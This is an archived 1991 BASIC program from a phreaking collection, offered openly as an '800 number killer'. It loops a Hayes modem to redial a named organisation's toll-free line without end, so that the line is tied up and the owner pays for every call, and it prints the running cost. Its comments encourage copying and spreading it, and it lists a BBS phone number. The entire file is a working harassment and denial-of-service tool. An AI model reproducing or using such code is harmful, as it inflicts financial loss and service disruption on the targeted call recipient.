home *** CD-ROM | disk | FTP | other *** search
/ TAP YIPL / TAP_and_YIPL_Collection_CD.iso / PHREAK / GENERAL / FALWELL.BAS < prev    next >
BASIC Source File  |  1991-07-27  |  1KB  |  38 lines
  1. 10  ' The 800 number killer for the Hayes modem.  Originally writen
  2. 20  ' by Aiken Drum to kill Jerry Fallwell's 800 number.  Version 1
  3. 30  ' Copy, Distribute, Change, Add your name. In general, have fun
  4. 40 '
  5. 50 '
  6. 100 KEY OFF:COLOR 2,0
  7. 110 ON ERROR GOTO 310
  8. 120 PPC=1.5  ' <<< Aprox. Price Per Call >>><<< (415) is about $1.50 >>>
  9. 130 OPEN "COM1:1200,E,7,1" AS #1 'Change to 300,e,7,1 for 300 baud
  10. 140 GOSUB 220 ' Ste up the modem
  11. 150 GOSUB 190 ' Dial the number and wait
  12. 160 CLS
  13. 170 NC=NC+1:PRINT "Calls: "NC"  Price: ";:PRINT USING "$$########,.##";NC*PPC
  14. 180 GOTO 150    ' Repeat
  15. 181 '
  16. 182 '
  17. 190 PRINT #1,"ATDT 8004465000":GOSUB 260 ' The numer to kill
  18. 200 GOSUB 300
  19. 210 RETURN
  20. 211 '
  21. 212 '
  22. 220 GOSUB 260
  23. 230 PRINT #1,"ATZ":GOSUB 260
  24. 240 PRINT #1,"ATS7=13":GOSUB 260  ' The number after the = is how many seconds after dialing to hang up
  25. 250 RETURN
  26. 251 '
  27. 252 '
  28. 260 FOR T=1 TO 500:NEXT                        ' Get all modem input,
  29. 270 WHILE LOC(1):A$=INPUT$(1,1):PRINT A$;:WEND ' print it, and then
  30. 280 FOR T=1 TO 500:NEXT                        ' forget about it. Delays
  31. 290 RETURN                                     ' to be sure we've got it all.
  32. 300 WHILE LOC(1)=0:WEND:GOSUB 260:RETURN      ' wait for the NO CARRIER mess.
  33. 301 '
  34. 302 '
  35. 310 IF ERR=57 THEN RESUME          ' Damn, an error. Leave
  36. 320 PRINT"ERROR "ERR" IN "ERL      ' mail for Aiken Drum on the Matrix
  37. 330 STOP                           ' (415) 922 - 1370
  38.